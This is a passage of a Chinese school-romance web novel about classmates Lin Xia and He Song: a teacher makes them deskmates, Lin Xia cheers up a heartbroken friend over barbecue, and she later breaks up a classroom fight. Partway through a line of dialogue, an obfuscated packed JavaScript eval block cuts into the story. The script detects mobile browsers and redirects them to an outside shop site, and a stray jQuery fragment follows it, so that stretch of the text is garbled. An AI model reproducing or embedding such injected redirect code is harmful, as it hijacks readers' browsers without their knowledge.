林夏眼珠子使劲往右瞟,何颂嘴唇轻启,淡淡说了句:“没有。”
行吧,既然你自己不说,她又没把刀架他脖子上强迫他不说,那可别怪我不客气了,林夏清了清嗓,开始娓娓道来。
“何颂同学的确有不太好的地方,比如没有集体荣誉感、下周的篮球赛他不愿参加。下课了总是埋头写作业,这样对视力极其不好,我希望他下课能多活动,不然总坐在椅子上,容易得死臀综合征。还有,总是板着一张脸不喜欢笑,让班上得同学不敢和他说话,这样不利于我们一班的同学情。还有......”
还有弄到的绝密资料一个人在家偷偷写,不肯大方带到学校给她看!
后面的话她当然不会傻到说出声,只敢在心里大声埋怨。
林夏终于满意地噤了声,然后一脸警惕看着何颂。
是刘年让我们说的,我只是实话实话而已。
何颂脸上没有任何情绪,眼神始终平静无波,让林夏捉摸不清他此刻的心情。
是愤怒?是被戳穿后的恼羞成怒,还是......?
“这样啊。”刘年摸了摸下巴,像是在思考,五秒后,他做了一个让林夏惊掉下巴的决定。
“我想了一个好办法,让一中的人和七中的人坐同桌,这样可以帮助大家快速了解对方,也阻止了拉帮结派的苗头,我已经听体育老师说了,上课的时候你们分成了两派,你看不如就让你俩成为同桌,也算是为大家带一个好头。”
林夏正在思索这个方法的可实性,听到后半句时她差点被口水呛到,怎么扯到她和何颂身上了???她正要开口诡辩,可惜刘年根本没给机会。
“你看,既然了何颂有些地方不够完美,你坐他旁边也能更好监督他是吧,下课他要是写作业你就提醒他起来活动活动,不喜欢笑,你就多逗他,反正我也知道你说话幽默。”
嘿,经他这么一分析,林夏觉得还挺有道理的,能随时掌握何颂的动态以及上课和下课的状态,还有做题的速度,最关键的是...万一他哪天把那本绝密资料带到学校了,也方便她第一时间发现。她怎么没想到这里去呢!
“刘年你真聪明!”何尝不是为她提供了一种全新的思路。
虽然心里是窃喜的,林夏还是故作为难了一下:“那也要看人家愿不愿意啊...万一他不愿意呢。”
刘年一拍大腿:“忘了这事了,那——”
“听您的。”
“好好好,就知道你们都是听话的好孩子,”刘年笑开了花,“我争取在下周末前把座位表排出来,不耽误你们时间了,快去上竞赛班吧。何颂,你留下。”
物理办公室只剩下刘年和何颂两个人,夕阳西下,将天空染得金黄,白色轻纱窗帘被晚风掀起一角。
“小颂啊,你之前的班主任黄老师和我说过你的情况,老师把你安排和林夏是有用意的,我带了她一整年,知道她是一个什么样的孩子,她热情、率真,有时候虽然脾气倔得像头驴,但本心是不坏的,而且你们一起学物理竞赛,学习上应该也有共同话题……”
风忽然变大,吹散了交谈的声音,林夏躲在墙后伸长脖子竖起耳朵也听不清,柔和的金色阳光落在地板砖上,出现了一道越来越长的黑色人影,她抬头,以一种奇怪的姿势猝不及防对上何颂的眼睛。
橙色夕阳透过对面办公室的窗洒在她脸上,少女眼窝深邃、眉骨高,因此在眼窝处形成了一道阴影,何颂看不清她此刻的眼神,只看见长长的羽睫颤动、沾染了金色的流光。
他喉结微动。
“你很讨厌我?”
林夏没有正面回应,“我只是出于人道主义关怀担心你学走火入魔,顺便关心…你的屁股,仅此而已。”
-
八点,林夏刚出校门就被拉到烧烤店,这里是夜市一条街,烤摊冒出的香气弥漫整条街。
刚端上的肉串滋滋冒油,正好饿了她抓起开吃。
圆桌对面的蒋邵痛哭流涕,见林夏没搭理他的意思,哭的更凶了,身边的几个小弟忙着递纸,被他一把推开,红着眼控诉。
“林夏你还是人吗?我都伤心成这样了,你怎么好意思吃下去的!”
“人家怎么不好意思吃了?刚脑力风暴完肯定得好好补补,是吧。”郑思弦手里握着两瓶汽水回来。
林夏撕开一次性筷子的包装,接过汽水,筷子抵住瓶口,'砰'的一声,瓶盖弹开落在水泥地上,她为蒋邵满上,慢悠悠,“莫急莫急,哭是解决不了问题的。”
“就是就是。”郑思弦在一旁附和,“这孩子放学拉着我们陪他哭,哭了两小时了。”
“我请你们来是帮我出谋划策不是冷嘲热讽的!!!”
“好,”林夏语气无奈,正经起来,“你想让给我们帮你怎么出谋划策?”
“我是要到何颂q/q了,哪知道班上同学的联系方式他一个也没有,我问他知不知道青荷去哪了,他也不知道,你让我怎么办?”
“你和虞青荷从小长大,最清楚她的为人不过,她肯定有她的难言之隐,你今天在这就算眼泪流干也没用,不如洗把脸以后乐观点,万一哪天你们重逢了呢。”
血淋淋的事实摊开在台面上,虽然直白但却直击痛点,蒋邵擦把眼泪,“可是他们家......”他没有继续说下去。
“而且就算你知道虞青荷去哪了,你的家始终在海市,难道你高中也不上跑去她那边?不现实,蒋邵,所以我给你的建议是从今天开始化悲愤为动力,和她考上同一所大学。”
“可是...这也太难了啊,难道让我一个文化生转战舞蹈吗?”
“不是让你转战舞蹈,我的意思是用文化分考那所学校。你想啊,如果你们大学不在一起,长期异地恋也对你们感情不利,迟早要分手,不如卧薪尝胆拼一把,迎接你的就是大学四年的朝夕相处了。”
“对,夏姐说的太对了!”
“蒋哥就按夏姐说的做,不是两年吗,咱等得起!”
“是啊!”
“......”
蒋邵被哄得一愣一愣,再加上旁边小弟们的附和,眼眸明亮,显然信了林夏的话。
郑思弦:“......”
林夏用膝盖撞郑思弦,侧头手挡住嘴,小声呢喃:“只能先哄着他了,难道要放任他堕落下去?”
蒋邵摸了把鼻子,举起橙子汽水,立下豪言壮志:“为两年后的今天,为了青荷,从明天开始,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17703382|208267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,今天晚上我要发奋学习,干杯!”
-
周五,'战争'终于爆发,林夏和郑思弦在盥洗池洗手,班上眼熟的女同学找到她,一脸惊恐:“班长,他们...打起来了!”
一班的教室外围满了看热闹的人,林夏推开层层人群,挤进教室。
摆放整齐的课桌被撞得歪歪扭扭,课本散落一地,两个男生扭打在一起,一会撞到墙上,一会倒在地上,校服被揉得皱皱巴巴。
“老刘呢,派人去叫没!”林夏一激动,音量拔高。
“何颂去叫了。”拥挤中有人出声。
“你们别打了!”尽管林夏用了最大力气喊出声,两个男生视若无睹,继续纠缠。
“没用的...刚才有人劝过的,根本劝不住......”身边有人声音小小地说。
“我的桌子!”女生惊呼,声音染上了哭腔。
只见他们推搡间撞倒了一张桌子,桌肚和桌上的书哗啦啦摔在地上,间隙被他们踩了几脚。
林夏火一下子窜了上来,说出去的话像石沉大海,耳朵聋听不见是吧,她连续点了点头,顶了顶舌内侧,窗外匆忙追过来的郑思弦知道这是她发火的前兆。
“你们,给我停下——”
这一嗓子吼的可谓是声音巨大无比,有道无声的波以她为中心朝外扩散,走廊看戏的人群感觉窗户似乎震了一下,不敢说整栋楼,至少这层全部听到了林夏的声音,大家一瞬间僵住。
包括纠缠在地上的两个男生。
快步朝教室赶的何颂和刘年听到声音后,加快脚步一路小跑到教室门口,看见的是......
两个男生规规矩矩低着头沉默不言,一旁的林夏板脸教训他们。
“知道错了没,说话!”
两个男生被吓得一抖,颤颤巍巍地小声说:“知道了。”
何颂轻抬了抬眉。
刘年上前打圆场,“好了,你俩跟我去办公室,大家收拾收拾准备下一节语文课。外面的都散了吧。”
刚看了一出好戏的外班同学当然要拉人到处说八卦,所以放学的时候,这事传遍了整个学校。
周五的晚上竞赛班不上课,所以林夏和郑思弦相约一起出校门。
郑思弦消息广,已经听说全校都知道了,笑得肚子酸痛,“哈哈哈哈哈哈哈你现在真的是出名了,靠一嗓子吼出名,你没发现一路上的人都在看你吗?”
“是吗?”林夏无所谓,看就看吧,反正她脸皮厚。
“连高一和高三的都知道你了,对面教学楼的人说,当时还以为哪个教室多媒体扬声器坏了,声音这么大哈哈哈哈哈我真的快笑死了——”郑思弦打开手机论坛,刷起来,“你看,论坛有关你和何颂的词成热搜了。”
有什么东西在脑子里一闪而过,“等等,你是说全校都知道了?”
“那,我暑假放出去的狂妄的话不也被全校知道了?还有那些莫名其妙的什么'林间颂夏'不会也被全校知道了吧......”
原本cp粉只是小范围在高二年级传播,这样一来,传到何颂耳朵里也是早晚的事。
郑思弦弯了弯眼,笑眯眯说出最绝情的话。
“当然。”